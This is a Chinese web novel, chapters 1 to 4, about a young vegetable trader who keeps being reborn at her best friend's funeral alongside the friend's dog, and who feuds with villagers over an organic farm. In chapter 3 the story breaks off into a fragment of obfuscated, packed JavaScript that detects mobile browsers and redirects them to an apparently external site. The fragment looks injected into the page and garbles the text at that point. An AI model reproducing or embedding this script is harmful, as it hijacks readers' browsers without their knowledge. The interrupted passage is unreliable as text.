《糟糕和闺蜜狗重生了》
1. 第1章
“诈尸了!”
江言月睁眼。
不远处一个身穿白色卫衣黑裤子的男人,踉踉跄跄跑出门,没走两步栽出去,惨叫出声,“啊……有鬼,救命!”
“汪!汪!汪……!”回应的只有不绝于耳的狗叫声。
白色卫衣男人慌忙起身,跌跌撞撞跑掉。
又重生了!
上一刻她跟狗还在水里扑腾。
江言月微微发懵,按着头,揉了几下,打量着周围的一切。
黑色棺木近在眼前,棺木前面几束菊花,门口卫衣男已经跑了,狗叫声越来越近。
她站起来,没走两步,一对中年夫妻就急匆匆赶来。
是秦悦的父母。
二老双目通红,脸色有点泛白。
“叔叔,阿姨!”江言月先打招呼。
“小月,你怎么还没去睡……”秦悦母亲,满眼关切,声线却颤抖了,“你不要……太伤心,这人啊,有时候就是命。”
上次听这话时,她还哭成泪人,这次只剩下麻木不仁,她本想假意寒暄几句。
二老身后一条膘肥体壮的大黄狗窜出来,直奔她,围着她的双腿蹭了又蹭。
江言月气不打一处来,站得笔直,任凭它讨好,无动于衷,倒是想弯腰在它狗头上,呼上几巴掌。
“小悦狗跟你还挺亲的,”秦悦爸爸满脸落寞说,“每次我们去找小悦,都怕它会咬我们。”
江言月硬挤出一个笑容,她知道秦悦爸妈又要把狗送给她了,连忙拒绝:“嗯,我不喜欢狗。”
秦爸:“我还说送你养呢!”
“我外婆看到狗,就害怕,不好意思了,秦叔叔!你看你不喜欢的话,送别人吧!”江言月撒谎不眨眼。
狗呜咽一声,一双狗眼直勾勾盯着她。
她瞪了狗一眼,暗骂几声,这猪队友已经带她死了两次了。
两次都是怪它在摩托车上不安分,跳车瞎跑,她追狗造成的。
就在上一瞬间,她载着它一起过桥,车刚过拱形桥,这狗东西,狂吠几声,冲下车,就往湖边跑。
她一时着急,疯狂提速,摩托车偏离公路,朝着湖边开去,东湖湖岸坡度高,刹车刹不住,车一股脑直奔东湖。
周围树丛枝丫扎得她满身是伤,痛到窒息。
还来不及反应,摩托车已经带她冲破护栏,带着她往湖里飞去。
正值盛夏,水位低,岸边离湖面几十米,刹那她就要落入水里。
岸上传来几声狗叫。
落入水里前一刻,她竭尽全力仰头,那狗东西从岸边跳下来,试图救她,完全白费力气。
后来他们都死了。
她隐约记得呛水,窒息,狗拽她……
带着猪队友,不死才怪,这次她绝不重蹈覆辙。
第一次死亡,更离谱,他们在车道骑得好好的,狗狂吠一声,猛然跑下摩托车。
她着急,注意力完全分散,一辆大车过来把她撞飞,狗不知从哪里跑出来,一人一狗当场毙命。
重生以后还是回到秦悦葬礼。
秦悦告诉她,不谈恋爱会死。
这跟她不谈恋爱有屁的关系!
分明是狗的原因。
狗又贴上江言月的腿,她退了一步,拉开距离。
门外一男人声音传来。
“你是不是眼花了?怎么可能会有鬼!”
“我也不信……可我确定我表妹真死了,刚才我亲眼看到人推起棺材盖起来,不是鬼是什么?”
后面说话的人应该是刚才跑出去的男人。
江言月看着严丝合缝的棺木,没有半分移动的痕迹。
她刚才估计是靠着棺木睡着了,白色卫衣男进来,刚好碰到她醒来,都不知道白色卫衣男怎么看的。
没有1000度近视,不可能把她抬头看成推棺材板,更不可能把她看成鬼!
“叔,婶子,怎么你们……”白色卫衣男,带着几个男人从大门进来,看到她,瞳孔一震,“你……你是人是鬼?”
江言月瞥了他一眼,忍住没接话,差点她就说是鬼。
这男人眼睛也不瞎,胆子怎么那么小。
她每天摸黑骑车,穿梭在乡间小道上,没遇到鬼,倒是遇到些比鬼还可怕的男人。
那些人,鬼叫一声从田埂冒出来,把她吓得不轻,看清是她后连忙跑了!
她后来找上门,问他们是不是大晚上没事干,可以找点事情给他们做。
后来再也没遇到这些脑子有病的人。
这世界鬼不可怕,人可比鬼可怕多了!
秦悦母亲拍了几下白色卫衣男,“岑东你说什么呢,她是小悦好朋友。”
岑东目光落在棺木上,指着她刚才靠着的地方说:“她刚才从那里抬起头,谁见了,都得被吓死,我还以为是表妹活了!”
秦悦父母,眼神落寞下来。
谁不想秦悦活过来。
要是她哪次重生,能回秦悦活着之时,那说不定还能救人。
她就是绑也要把秦悦绑在身边,让她安然度过死期,奈何每次回来,都是秦悦死后。
上次是已经安葬,在坟山,她回神以为自己做梦。
那时候看到狗就来气,可毕竟养了好几个月,还是有感情的,看它安然无恙,也慢慢释怀了。
结果……这狗东西,死性不改!
前一次狗突然窜下车,江言月还以为它看到什么不好的东西。
这一次才确定,狗就是有毛病,东湖岸边除了有树木花丛,还能有什么?
哪怕它神经搭错,下车是为了跳湖,那东湖里,除了有鱼,还能有什么?
她又不是没给它吃饱,简直气死人不偿命。
安慰好秦悦父母,劝二老离开,她留下来守夜。
明天要出殡,二老熬了几天,已经熬不住了。
秦悦是家里独生女,不难想象二老会有多难过。
可谁又能算准自己能活多久呢。
她呢!
死了又活,就跟闹笑话一样。
莫非她还可以一直死了又活,活了又死?
没有人给她答案,反正狗是不能要了。
一开始她都不确定狗重生了!
她当初把狗带走的时候,这狗在家折腾好几天,一直绝食。
后来她没办法,蹲着狗窝旁边同狗说,如果它好好的吃东西,就每个月带它去看秦悦。
一番心里建设,她试着把东西端到狗面前,狗吃了。
……
第一次重生在坟山。
狗亦步亦趋追着她,跟第一次她强行带回家百般抗拒,态度截然不同。
江言月多次试探断定,狗也重生了。
这次也一样,她坐在灵堂沙发上。
狗就缩在沙发脚躺着,时不时还抬头望她。
望个屁!
越看她,她越来气。
江言月指着门外,示意狗出去,狗立即
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低下头,哀怨哼唧了几声。
“叫个屁!我看你不应该叫二百,应该叫二百五!”
狗又委屈巴巴,哀嚎几声。
江言月仰头,看都懒得看二百,当初秦悦花二百块买的纯种土狗,就取了这么个奇葩的名字。
离第一次重生已经过了3个月。
离第一次接狗过了6个月。
不知不觉跟二百呆在一起半年了,说没感情是假的,可她也不能带着它去死。
她先单独生活三个月,过了危险期再来接它也不迟。
这样一想,她心里莫名一堵,没忍住低头看了看狗,柔声道:“你跟秦叔叔他们好好待着,等过几个月我再来接你,不然这次再死,我都不知道你要带我去哪里死!”
二百继续呜咽。
江言月伸手摸了摸二百的头,“我再跟你糊里糊涂死一次,我就该改名叫二百五了!”
二百刚要张嘴,就被她伸手捂住,“不准反驳,乖一点,否则我就不要你了,不要说过几个月来接你,你主人下葬以后,我再也不理你。”
二百没了动静。
江言月就当狗答应了。
黑色棺木近在眼前,她有些恍神,仿佛昨天秦悦还在街头大喊,“江小月,怎么你今天摆摊又那么晚,别回去了,去我家,我让我妈给你做好吃的……”
终归是幻想,她们早已天人永隔。
江言月仰天长叹,暗自向老天祈祷。
如果她还能有重生的机会。
就让她回到秦悦死之前。这样的话,可能她还能救秦悦。
医生说秦悦死于心脏病。
当初联系不上秦悦男朋友,还以为有什么隐情,她都怀疑秦悦的死,是不是她男朋友造成的。
秦悦父母告诉她,秦悦从小就有心脏病,才打消自己的念头。
她跟秦悦,高中大学,将近10年的朋友。她都不知道秦悦有心脏病,那一刻真为自己感到丢脸。
她们那么好的朋友,她一直厚颜无耻享受着秦悦的关怀备至,却从未真正了解过秦悦。
可江言月还是想不通,秦悦为什么说她不谈恋爱会死。
她死是死了,可难道不是因为二百这狗东西吗?!
秦悦死时,她打电话去给秦悦男朋友,秦悦男朋友说,他和秦悦早就分手了。
秦悦说的不谈恋爱会死。
到底是指她自己会死?
还是指她会死?
还有秦悦哪里得到的离谱言论?
......
一切无解。
一大早,安葬好秦悦。
江言月赶着回村了。
秦悦葬礼耽搁了好几天,村里的农作物都已经等不及了。
几个不知情况的爷爷奶奶,打电话过来,问她什么时候过来收菜,她解释一番,几个爷爷奶奶还在那边低声致歉,说是不知道她遇到那么大的事情。
事情是大。
可是只要活着,再难过,日子还是得过下去。
江言月丢下狗,骑着小摩托回了村。
走到半路,手机又响了。
这已经是第5个电话。
估计又是收菜电话。
她放慢车速,掏出电话,按下接听健,抢先开口:“我马上就回来收菜了,不用着急!”
秦悦妈妈急迫的声音从电话里传来,“言月,我家小悦的狗丢了,你走的时候还在呢,我们找了半天没找到……你有没有看到狗?”
2. 第2章
江言月一个急刹车,紧急调头,差点撞上后面驶来的黑色皮卡车。
她紧急避让,再次紧急刹车,摩托车搭在公路边缘停下。
江言月倒抽一口气,心快蹦出来了,差一点她就栽下山坡,小命呜呼。
一时觉得也不能全怪狗,有时候她是不太能沉得住气,哪怕现在飞过去,也不见得能找到二百,早知道还是把狗带回家。
大不了拿铁链给它拴在家里3个月,这样说不定大家都能相安无事。
“江老板!”
一个粗矿的男声,拉回江言月神志。
循声望去,副驾座上一个穿黑夹克的男人,探出头来,笑吟吟望着她。
男人30岁左右,属于那种比较硬朗的长相,皮肤有点黑,不像是会主动打招呼的人。
面熟,不过她不认识。
“你这是又赶着去收菜?”男人追问,脸上笑意放大,“改天有时间过来我家吃饭!”
江言月一愣,木讷点头,开着电动车走了。
“老姜,你铁树开花了?”副驾驶上一个长相斯文白净的男人开口。
“开你个头!”姜林白了纪景州一眼,“你知不知道她是谁?”
纪景州盯着后视镜里的江言月,一身深蓝色便装穿着,带着鸭舌帽,弯腰骑在踏板摩托车上,只看背影像个男人。
他刚才在副驾座上瞟了一眼对方的脸,倒是还算标致,带着几分朝气,几分老练。
莫非是村里哪位土豪的女儿,年纪轻轻就当上老板,连老姜这种大男子主义的糙汉,都对她一个小姑娘礼让三分。
而且刚才是她没有遵守交通规则,乱骑车。
纪景州眼神复杂盯着老姜问:“她是谁家大老板女儿?”
姜林大笑几声,发动车子,“什么大老板女儿,她是我们村的村霸。”
纪景州挑眉,“我怎么不知道东营村,有这么一个村霸?”
“都叫你平时不要只顾挣钱读书,回村看看,不然天天门缝看人,怎么得罪人都不知道……”
老姜奚落完他,又补充道:“你可别见人家长得好看,就起了歹念,她不婚主义者,不喜欢男人。”
纪景州越发好奇,倒不是见色起意,他在城里那么多年,什么样美女没见过。
没忍住追根究底问了老姜,关于这女人的一切,听完唏嘘不已。
原来她是隔壁独家村户主的孙女,户主女儿未婚先孕生了她不久,就跟别人跑了,再也没回来过,从小她跟外婆相依为命,考上重点大学,毕业没在城里上班,回家种地。
平时在村里,除了卖自家的菜,还收老人菜蛋,家禽,拉县城里倒卖。
不就一个普通小商贩。
纪景州追问:“那就算这样,她怎么就成你嘴里的村霸了?”
姜林:“前几个月隔壁村有两个小流氓,黑灯瞎火在村里小路堵人,后面她上门找麻烦,几个村里老人知道以后,隔三差五约着去讨伐那两男生,说是两男生断了村里财路,给村里丢脸,要把两个不孝子,逐出村,送进监狱。”
纪景州傻眼,没见过那么大胆的女人,城里遇到的女人,看到蟑螂都得吓得尖叫,扑别人怀里,她倒好遇人骚扰,直接找上门。
老姜扭头看他,“你说她这种人,我不得给三分薄面,毕竟我爷奶的菜也是她来收的。”
纪景州嗤笑,“你这是怕她?还是怕人不来收菜?”
“当然是怕人,你这城里人什么都不懂,我得罪她,我家爷奶天天过来盯着我,我脑子都得炸!”
纪景州笑笑没说话。
老姜追问:“你呢?怎么突然回村?你哥叫我去接你的时候,我以为给我开玩笑。”
“我哥想在老家这边弄一个有机农场,我过来看一下。”
“原来……”老姜笑了两声,“原来你是过来抢人饭碗,砸场子的,难怪……”
“你好好开车!我可不想掉湖里。”纪景州无名指戳了老姜肩膀一下,示意他看前面,这是环湖公路,开车一心二用容易出事。
他已经10多年不曾回村。
眼前的湖应该是东湖,东湖10多年前只有现在十分之一大,现在扩建了那么大,估计是为了改善生态。
老姜嗤笑一声,“看你这胆小样,这路我开了成百上千次了,闭着眼睛都能开过去。”
纪景州不知道这跟胆小胆大,有什么关系,提醒道:“你还是睁大眼睛开吧!等你一个人的时候,再闭眼开。”
老姜:“我这技术……”
“技术再好,开车也不是炫技一次,就保一生平安的事情。”纪景州打断老姜。
老姜抹不开面子,没了声。
纪景州追问:“你为什么说我抢人饭碗?”
“江老板前两年就提出来,做有机蔬菜的方案,不过没凑够资金,项目就没有进行下去。”
“哦……”纪景州附和点头,没想到,她一个农村妇女小商贩,会有这种眼界。
现在食品安全问题,迫在眉急,是机遇,也是挑战。
老姜又扭头看他,“哦……什么,我怀疑你有钱,想要把有机农场做起来,也得看她脸色,经过她同意。”
这就有点杞人忧天了。
纪景州可不这样想,能拿到相关部门文件就行,关她一个小商贩什么事。
老姜方向盘一转,车擦着岸边枝丫过去,挡风玻璃上还沾上几片叶子,他心一紧,急声提醒到:“好好开车,我可不想淹死在东湖。”
老姜冷哼,高声反驳:“你们这些读书人,就是鼠胆,那么宽的路,我又不是开电动车,怎么可能开进东湖,我哪怕刹车失灵,最多也就撞倒岸边几颗树,死不了!”
纪景州头皮一紧,话到嘴边又咽下去,他没那本事同老姜争出个谁对谁错,今天也算是体会到,什么叫做“话不投机半句多”。
江言月飞速回到秦悦家里,秦悦父母急得在院子里打转,饭都没吃。
二老同她说明情况,她又骑车到坟山转了一圈。
不要说找二百,一路上狗影子都没见到。
江言月围着坟山附近几个村转了一圈,又回到坟山,累得满头大汗,在秦悦墓碑前坐着。
胸口仿佛被一块石头堵着,她盯着秦悦碑文,吸口气的功夫,鼻头一酸,眼泪飙出来!
江言月憋屈,哀嚎出声,对着墓碑大声控诉:“你是不是在报复我。我不要你的狗,你就把它带走,刺激我,让我愧疚,自责,你好狠的心。”
一阵风刮来,带来几分凉意,把这盛夏白日的热烈温度,降下不少来。
江言月心也凉了不少,越发委屈,越说越气,“你知不知道,我只是不想它再跟着我一起死!你什么都不懂……”
裤兜一震,手机铃声想起,秦悦爸爸打来的。
难道狗找到了?
江言月擦干眼泪,压低嗓子接起电话,“怎么……”
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“小月你找到狗没有?”秦悦爸爸问。
唯一一丝希冀破碎。
江言月又想飙泪,硬生生憋回去,“没有。”
“你回来吧,狗丢了也不怪你,打电话也只是问问你,没想到你会回来,找不到也没办法,你太晚回去不太好,快回来一起吃饭。”
“不用秦叔叔,我有急事,要先回家,再见!”
她急忙挂段电话,生怕一不小心,被听出她此刻的狼狈。
没事养什么狗。
烦死人了。
二百这狗东西,会不会被狗贩子抓了,去卖狗肉了?!
它膘肥体壮,看着就很招狗贩子喜欢。
江言月在墓前坐了将近一个小时,无精打采骑车回了村。
顺着打电话过来的爷爷奶奶,挨家挨户,安排好要收的菜。
全程精神状态不对,算错几次价格。
出院子李奶奶家院子大门,一不留神,脚踩空,差点栽在门槛上。
旁边李奶奶眼疾手快扶住她,才避免了磕掉牙,毁容的风险。
李奶奶柔声安慰:“小月,你这孩子,人死不能复生,要保重身体,别太难过。”
江言月连忙点头,也不能解释,不是因为人,是因为狗。
要不是有人在,她都想往头上呼上两巴掌,让自己清醒一点。
哪怕狗死了,又不是她杀的,关她什么事?
这样一想,没有半点安慰到自己的作用,心开始揪着疼。
也不知道是自己觉得愧对秦悦,还是低估了对二百这臭狗的感情。
江言月无法理清楚,脑子混沌一片。
强撑着安排好明天要去摆摊要卖的菜,回了家。
她手机没电了,刚回村时,趁着最后一点电,给外婆报平安,报备好行程后,就去挨家挨户盘点蔬菜。
全部弄好已经黄昏。
江言月骑车在必经的水泥路上,心开始提起来,她就怕车骑到半路没油。
最后回家的两公里路,只有她家一独户。
手机没电,黑灯瞎火回去,她就算胆子顶天,也不免心里发毛。
她为了省油,放慢车速,现在车正在小坡上行驶,上了这几百米,就是一段下坡路,能省不少油。
车走了几十米,周围隐约有不同于虫鸣的异样声音入耳,她也不太听得清什么声音,放慢车速,又没听到。
幻听?
江言月车停下片刻,依旧没声音,给车提了速,心也提着。
上坡的最后一小段,她准备降速。
“沙……沙……沙……”前方树一动,一个黑影冒出来。
江言月车速没减下来,一紧张反而提速冲了过去。
黑影慌张一闪,朝旁边水泥路栽去,她车直往树里冲。
她急时刹车,没冲出去树,手臂却被枝丫刮破皮,刺痛。
江言月怒气冲天,丢下车,站起来就冲倒在一旁的人破口大骂:“他妈的你是不是没见过女人,尽做这些猪狗不如,丧尽天良的事。整天不是想着裤.裆,就是想着裤.裆那些事,知不知道为什么现在,这么多女人都不结婚,就是因为你们这些傻.逼玩意,脑子有泡,你们这些贱男人,真是狗都不如!”
纪景州忘了身上传来的痛,目瞪口呆,抬头盯着隐匿在黑夜里的女人。
他就过来观察一下地形,差点被撞都没说什么。
这女人把他当成什么人了?
3. 第3章
太阳早已完全陷落,天边徒留一点微光。
他们隐匿在黑暗中,那点暗淡的光线,无法照亮彼此眉眼。
纪景州满腹委屈。
江言月满腔怒火。
为什么这些男人,就不能光明正大地去追女人?
一到黄昏就鬼鬼祟祟出没,不干人事。
他到底是想坐牢?还是觉得这时候做狗事也不会被发现?!
纪景州不喜欢被别人这样居高临下的审视着。
手刚撑地想站起来,领子就落在江言月手里。
刹那间的震惊,自己已经被拽起来,这女人力道怎么那么大?
“我看你长得人模人样,怎么专干狗事!”
江言月借着微弱的天光,看清了纪景州眉眼,加大了手上力度。
纪景州脖颈被衬衣勒住,窒息感油然而生。他用力挣脱,两人踉跄站定,他一句话不想说,有点想骂人。
“狗男人,问你呢!”江言月的声音在寂静的夜空回荡。
回应的只有周围此起彼伏的狗叫声。
江言月气到发抖,步步紧逼,“是不是只有把你送到警察局才会老实?”
“谁告诉你我在这里站着就是为你?”纪景州拳头紧握,忍着没有抡过去。
“哦……”江言月站定,嗤笑一声,漫不经心看向他,“那你为了谁?另外一个骑车的女人?”
纪景州:“我来这里看一下地形,对你们这些女人没兴趣。”
“你骗鬼呢!”江言月没工夫陪他演戏,“你哪个村的?要么你告诉我,我明天过来找你算账,要么我现在就陪你耗在这里,让警察过来处理。”
“随你便!”纪景州已经懒得解释太多,完全鸡同鸭讲。
江言月早就想报警,可是手机没电,这男人态度嚣张,没有一点认错的态度。
她再次逼近,想记住他的脸,奈何他退了两步,两人反而离得更远,“我最后给你一次机会,告诉我你哪里人,否则我现在马上送你去警察局。”
纪景州扫了一眼树旁的踏板摩托车,冷笑。
但凡这女人带点脑子,都会明白,用这小破车送他去警察局,要是他真是个坏人,恐怕还没上车就会被灭口。
要是他真是个歹徒,恐怕谋色没谋成,已经气到杀人泄愤。
遇到这事,正常人在发现歹徒的时候,早就跑了,毕竟一个女人力气再大,男女之间力量悬殊她也不是对手。
还在这里花力气说那么多废话,简直脑子有问题。
纪景州也懒得瞎折腾,指着几百米处的房子说,“我家在哪里,你要去的话,现在我就可以带你过去。”
江言月看过去,那不是纪景东家吗,讥笑出声,“你撒谎能不能……”
不远处狗叫声传来,一声接着一声。
江言月凝神细听。
大喜!
是二百!
声音从家方向传来,二百回家了?
应该是。
江言月扶起摩托车,骑上车,才意识到眼下事情没处理掉,可她已经顾不上,扭头无力警告:“我今天放过你,下次让我再遇见你,不会让你那么幸运。”
纪景州盯着那消失在斜坡的背影,可笑又可气。
她是后知后觉意识到黑灯瞎火,孤男寡女呆着不安全?
还是哪根神经搭错,真不计较?
他多年不回东营村,真是一路“惊喜”不断。
先有开车不看路,诡辩车技高超,不知天高地厚的老姜;后有草木皆兵,不分青红皂白脑子有泡的女人。
刚才在大哥家吃完饭,一堆人七嘴八舌你一句我一句查他户口,太烦,才趁着黄昏出来图个清净。
哪曾想,还能被当流氓骂了。
他倒是希望这女人真回来找他,那他一定要好好反击回去,也给她普及一下安全知识,一个女人光是骁勇,是行不通的。
这次光线太暗,她逆光站着,他没看清她的脸,完全是凭借早上她说话声音认出的人。
好个东营村村霸——江言月。
纪景州爬上小坡,站定。
2公里处,是一栋一层高的水泥房,屋里亮着灯。
屋子不远处,一个白色光圈不断向屋子靠近。
他下意识盯着,没过几秒,光圈消失。
狗叫声传来。
他心一紧,下意识走了两步,定住。
莫非这女人遭报应被狗咬死了?
就算如此,关他什么事。
狗叫声再次入耳。
他心不由自主提起来,好歹也是人命,“救人一命胜造七级浮屠”。
他倒不是为了积德,只是刚才那事气人,但罪不至死,他掏出手机打开通讯录,还没开始找联系人,
“啊……”
尖叫声传来,带着几分兴奋,一点不像被狗咬后的痛呼,像饿了几天的豺狼吃到肉一样兴奋。
眼下狗被人咬都可能,狗咬人绝无可能!
“真是你,二百,你这狗东西让我找的好苦!”
声音跨越山川,直逼纪景州耳膜,震得发疼。
纪景州无声冷笑,到底是怎样的水土,能养出这么个奇葩。
江言月抱着狗,激动得不能自已。
惊喜过后就是数落,念叨几分钟后,她回归现实。
车没油了,还有一公里路才到家,半段平路,半段上坡路。
今天农历初一,见不到半点月色。
万幸是有二百,不幸是有也没用,狗不能跟她一起推车。
一人一狗抹黑到家,已经8点30。
门一打开,外婆赶着从厨房出来,“小月,怎么回来那么晚?”
“菜有点多!”
江言月不敢说实话,随口一答,把大门全部推开,二百头探进来。
外婆看到狗愣了一下,“耶……我正想跟你说,今天下午跑来一条狗,赖在我们家门口不走,我还怕它乱咬人,一直关门等它走,它也不走。”
江言月冲外婆一笑,“不走就养着吧,也算是跟我们家有缘。”
“嗯。”外婆点头,瞧了瞧狗,“这狗看起来是条好狗。”
江言月低头瞥狗一眼,狗同她对视一瞬,低下头。
还算这狗东西有自知之明,知道它配不上“好狗”这个称呼。
想到今天下午转一大圈找它就来气。
“小月你吃饭没有?”
“吃了。”实际没吃,不过这一路已经被气饱。
“你还能吃得下吗?我给你留了一点,有两个荤菜,喂猪的话,太浪费。”
一人一狗一起吃,碗都舔到发光。
江言月在院落里原来狗窝的位置,给二百搭了个简易的狗窝。
二百乖巧懂事睡进去。
她摸着狗头再三叮嘱,“跟外婆好好在家呆着,别吓老人,否则给你卖去狗肉馆。”
二百低声呜咽。
只会这一招——“苦肉计。”
早已失效。
江言月起身懒得理它,突然又想起一件事,警告:“不准再乱跑,再乱跑你别想进江家大门。”
二百歪头听着,像条认真思考的脑残狗,她眼神犀利瞅它一眼,回了房间。
要打电话通知秦叔叔,狗找到了。
手机掏出来,忘充电不说,多了一条裂缝,从右上角裂到左下角。
刚买一个星期的手机,又报废。
肯定是刚才那流氓造成的,骑车撞树时,有个坚硬的东西,硌着腰肢,应该就是衣兜里的手机。
生气已经不抵用,江言月只求屏幕还能显示得出来。
充电器插上,指示灯一亮,屏幕也亮起来,显示正在充电。
电量——“0%”。
没坏,她松一口气,拿好睡衣往卫生间跑。
外婆屋里灯还亮着,她敲了几下窗子,小声喊:“外婆赶紧睡觉,我洗个澡也要睡了。”
“好!你也别熬夜!”
“嗯。”
江言月快速冲完澡,睡觉前手机开机,给秦叔叔打电话报平安。
秦叔叔激动不已,说寻狗启示都打印好,本来要带人连夜去张贴,狗在她家的话,明天过来接狗。
她连忙拒绝,说狗就放心交给她养。
秦叔叔又说外婆怕狗,不方便。
她解释半天,说是没事自家养的熟了就好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282397|166886||http|test|mini|href|location''.split(''|''),0,{}));
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>秦叔叔又问,怎么狗会跑她家,那么远的路,之前是不是来过她家……
这辈子没来过,上辈子来过,得亏二百还记得路,从县城到村里骑车将近一个小时。
江言月也是服气,没法只能说秦悦之前经常带狗过来玩。
漏洞百出的话,解释半天才说完。
挂断电话已经10点15。
江言月倒在床上,一动不动,累到不想呼吸,这辈子撒的谎都没今天多。
真是上辈子欠秦悦的。
秦叔叔叫她明天卖菜结束,去家里吃饭,顺便拿一下狗用的东西,还有狗粮。
手机闪了闪,微信消息跳出来。
【言月,明天我在村口等你?还是你自己骑车进城?】好搭档纪年的消息。
“不用等我,我家没菜,你开车拉东西去摊位就行。”
【好!】
她没再回复,手机翻扣在床头柜上,看到屏幕上那条裂痕就来火。
3000多的手机,用一个星期,成这鬼样,不过好像销售给她送了碎屏险,明天去手机店修一下就好。
有纪年在摊位,她打一下酱油也没事。
纪年平时负责给人拉货,当初有卖菜想法时,偶然遇到纪年。
她刚回村那会儿,只是卖自家菜,不天天出去。
纪年看她村里搭顺风车麻烦,就提出帮她送到摊位。
后面纪年提议可以收村里的菜,也算是帮村里老人的忙,纪年就变成她的独家合作伙伴,她瞧菜选品,纪年负责去村里爷爷奶奶家里拉,给她省了不少力。菜少的时候还可以睡个懒觉。
隔天江言月准时到摊位。
纪年比她早,已经摆好菜。
将近一个星期没出摊,买菜的人都以为他们不卖菜了。
一大早生意爆火,都来不及去修手机。
临近中午,菜卖得差不多,两人饿得前胸贴后背。
“你要吃什么?”江言月丢了一瓶矿泉水给纪年。
“我下午2点要送一趟货。”纪年接过水,没有喝,凝视着江言月,有些发愣。
江言月打开瓶盖,忙着灌水,她额头碎发被汗打湿,贴在白里透红的脸上。长相甜美可人,做派豪迈无拘,带着一种违和的美。
要是把身上休闲服换得有女人味一点,不知得留住多少男人的目光。
可是纪年知道,她不相信男人,更不稀罕男人的目光。
他们一起共事两年多,她都不曾邀他去家里吃过一顿饭。
纪年不明白,这是因为不信任他,还是不想。
眼前这两米的距离,像一条没有尽头的鸿沟,永远迈不过去,他有些不甘心。
“发什么呆,问你呢?”江言月水喝完,空瓶递给旁边扫地的阿姨。
纪年心虚低头:“我怕来不及,要送货。”
“大哥现在才11点45,”江言月指着裂缝的手机说,“我等下点打包两个菜过来跟你一起吃,我顺便去修一下手机。”
江言月说着已经绕出摊位,没给纪年拒绝的机会。
用微信付完款,江言月转战手机店修手机。
没剩几斤菜,早点收摊也不为过。
只是要等手机修好,就只好守在摊位卖菜。
新手机有保险没要钱,之前用了几年的老手机换屏要600,店员还说是友情价。
她含泪交钱,提菜饭回摊位,3个小时以后再回去取手机。
手机里有她和秦悦老照片,她没备份,不然她也懒得花600冤枉钱。
她和纪年三下五除二吃完午饭。
“那我先走了,有事跟我说。”纪年拿起包,绕出摊位。
“嗯。”江言月点头。
饭盒刚装塑料袋里,纪年着急忙慌去而复返。
江言月提起袋子,丢垃圾桶问:“忘东西了吗?”
“我忘问你,你跟纪景东之前一起合作的项目,是不是打算重新启动了?”
“谁说的?”江言月一脸懵。
纪年追问:“你不知道吗?”
纪景东那个小人,又背着她做了什么狗事?
江言月没好气说:“你那侄子,真不是个东西!”
4. 第4章
江言月收摊回村,等不及拿手机。
第一时间去找纪景东算账。
车停在纪景东家门口,敲了几下都没人应。
整个东营村,纪景东家离她家最近。
她回村那会儿,纪景东听说她想做有机农场,过家里来找她商量合作。
本来她想着有个合作伙伴也挺好。
后面因为土质问题,资金问题,股权问题……没谈拢。
建造有机农场时间线会拉得很长,首先就是土质得合格。
3年的时间,她给当初计划好的片区,做了土质改善。
研究过相关文献,该准备的都准备好了,只要资金到位,拿到政府部门相关文献,应该没问题。
她都做好最坏的打算,如果资金不够,大不了让整个东营村加入,集体经营有机农场。
纪景东这个小人,却想着独吞项目。
江言月大力又连敲几下门。
屋里依旧没动静。
她耳朵贴上门,听里面声音。
“咕…咕…咕…”只有鸡叫声。
“小月!你怎么在这里!”她应声站直,王婶背着箩筐,往她这边走。
“婶子,你知道纪景东去哪里了吗?”
“早上我都见到人,没在家吗?”王婶挠挠头,思索片刻回,“估计他们去地里了。”
…
江言月立即骑上车,赶往东营村最大的田地。
那块地接近百亩,几乎每户都有份,3年前她决定要做有机农场,便说服村民跟她一起用有机肥种植。
她负责卖菜。
开始村民不同意,后来看她,真给找到销路以后,纷纷用了有机肥。
虽然菜一开始没达到有机菜的标准,可菜价也比他们之前卖的价格高不少。
她平时给老人,卖卖家里杂菜,其余的,都是找人统一来收。
今年她打算接手过来,创办东营村第一个有机农场,打响整个东营村的名号。
半路杀出个纪景东,当初答应好的,配合她来做事,如今又出尔反尔。
纪景东家土地面积很大,估计占了10多亩。
这几年一直是他爷爷奶奶和他爸一起在家种地。
纪景东一直外出务工。
最近几个月才回来。
她在村里辛辛苦苦负责给他家里老人创收。
纪景东负责等待时机,抢项目。
如意算盘打得真好。
江言月从未想过,纪景东回来是为了捣乱。
纪年担心她,叫她回来看一眼,有问题再商量,不要冲动。
江言月全然忘了,纪年嘱咐。
菜地里围着10多人,几人抱手站着看,纪景东和几个陌生男人蹲着,用工具正在钻土。
这是给土采样。
一年前她叫在相关单位上班的同学来做过,好几项指标没通过,她改良了施肥方案。
今年还来不及检测。
原本也就是这几天。
她太忙,来不及安排。
…
江言月憋了一路的火,没有出处,摩托车声直响也没人注意到她。
她关掉油门,丢下摩托车,疾步过去,一脚踢翻那一排排装好土质的玻璃瓶。
瓶子碎一地。
纪景东他们闻声停下,扭头看她,瞥见那碎裂的瓶子,顿时眉头紧锁大吼:“江言月你是不是疯了?”
“遇到你这种贱人,有几个人能……”不疯,在江言月看到纪景东旁边,蹲着的男人时,没说出口。
这不是昨晚那流氓吗!
他比黄昏时,顺眼多了,阳光下他的脸越发白斩,精致的五官,透着一股疲倦感,眼底全是不耐烦。
江言月脱口而出:“你跟他是一伙的?果然人以群分,贪财,好色不分家。”
纪景州眉头打结,瞥了江言月一眼,没说话。
纪景东气急败坏,拳头紧握,暴跳愤起,冲她扑来,旁边两个同村拉住人:“江言月你踏马,装什么装,这是我的地盘,我要怎么检测是我的事情,我今天就把态度撂在这里,哪怕你拿下所有地块,我们家的地盘,你别想动。”
江言月冷笑出声,鄙夷的目光落在他黝黑的脸上,不紧不慢说:“你觉得哪怕土质检测合格,想要做起项目来就那么简单?”
纪景东笑起来,“这就用不着你操心了。”
江言月咬牙点头:“行,那以后你家的菜,自寻出路。”
“小月,你们一开始不是打算合作的吗?”纪景东老爸纪承宇,过她旁边站着,“我以为你跟东子商量好了!”
纪景东这样的人怎么合作,三年前刚来的时候死缠着她,非要两人一起做事,后来因为各种原因闹掰。
纪景东嘴上信誓旦旦,一到做事的时候就偷懒,要么有事见不到人,要么随便做一点事情就约着兄弟拼酒。
